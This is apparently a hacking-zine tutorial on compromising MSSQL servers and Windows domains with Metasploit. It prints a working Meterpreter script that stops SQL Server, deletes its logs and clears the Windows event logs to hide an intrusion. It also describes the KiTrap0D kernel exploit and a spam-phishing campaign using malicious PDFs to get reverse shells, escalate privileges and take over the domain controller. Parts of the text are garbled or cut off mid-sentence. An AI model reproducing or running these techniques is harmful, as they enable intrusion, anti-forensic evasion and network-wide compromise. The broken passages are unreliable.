##################################### [0x01] - Get Root on MSSQL Database#####################################

In this section, we talk about attacking MSSQL Database in network. We will start with scanningand enumeration MSSQL then we move to gain access system with SYSTEM Privilege in order to control the machine completely.

++++++++++++++++++++++++++++++++++ [0x01a] - Scanning & Enumeration++++++++++++++++++++++++++++++++++

First, start with scanning by using Metasploit Framework with MSSQL Modules.

How about Log file ?? When we used meterpreter script to spawn shell, Windows Event viewer can keep our log activity. So I found nice script

Mssqlclear.rb

[Code]-----------------------------------------------------------------------------------

#MSSQL LOG CLEAR BY ZERO COLD def list_exec(session,cmdlst) print_status("Running Command List ...") r='' session.response_timeout=120 cmdlst.each do |cmd| begin print_status "running command #{cmd}" r = session.sys.process.execute("cmd.exe /c #{cmd}", nil, {'Hidden' => true, 'Channelized' => true}) while(d = r.channel.read)

print_status("#{d}") end r.channel.close r.close rescue ::Exception => e print_error("Error Running Command #{cmd}: #{e.class} #{e}") end end end commands = ['Net STOP "SQL Server (SQLEXPRESS)" ', 'del "%SystemDrive%\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\LOG\ERRORLOG.*"', 'del "%SystemDrive%\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\LOG\log*.trc"', 'Net START "SQL Server (SQLEXPRESS)"']

def clrevtlgs(session) evtlogs = [ 'security', 'system', 'application', 'directory service', 'dns server', 'file replication service' ] print_status("Clearing Event Logs, this will leave and event 517") begin evtlogs.each do |evl| print_status("Clearing the #{evl} Event Log") log = session.sys.eventlog.open(evl) log.clear end print_status("All Event Logs have been cleared") rescue ::Exception => e print_status("Error clearing Event Log: #{e.class} #{e}")

endend

list_exec(client,commands)clrevtlgs(client)

[End Code]------------------------------------------------------------------------------------

Now we got mssqlclear.rb then place code into your metasploit scripts directory

<< KiTrap0D >> Exploit for All Windows versions, Local Ring0 Kernel Exploit

All 32bit x86 versions of Windows NT released since 27-Jul-1993 are believed tobe affected, including but not limited to the following actively supportedversions:

- Windows 2000- Windows XP- Windows Server 2003- Windows Vista- Windows Server 2008- Windows 7- etc.

Kitrap0D were combine into Metasploit Framework Meterpreter ;) You must SVN update metasploit to the latest exploit too for get it.

This Operation, we send Many SPAM Mail to victim's mail then waiting for connection. We used Adobe JBIG2Decode Vulnerability that affect Ado

:MISSION:

SPAM Mails1. Zea3ul ---------------------> [email protected] (Open PDF and Reverse Shell back to Zeq3ul) ^ | | | \--------------------------------/ Reverse Meterpreter Shell

2. Zeq3ul Get Meterpreter shell with USER's Priv, Then Exploit Local kernel with KiTrap0D to SYSTEM's Priv.3. Zeq3ul Can full compromise victim system, Then Pivot Network and Attack other machine that joined Domain Controller4. Compromise Domain Controller and all systems. Victory !!!

From Result, We can conclude that We must compromise only 1 machine that joined domain then impersonate token to "Domain admins", Add user a"Domain admins" group. Now we compromise all system that joined Domain controller. Mission Accomplished !!!!
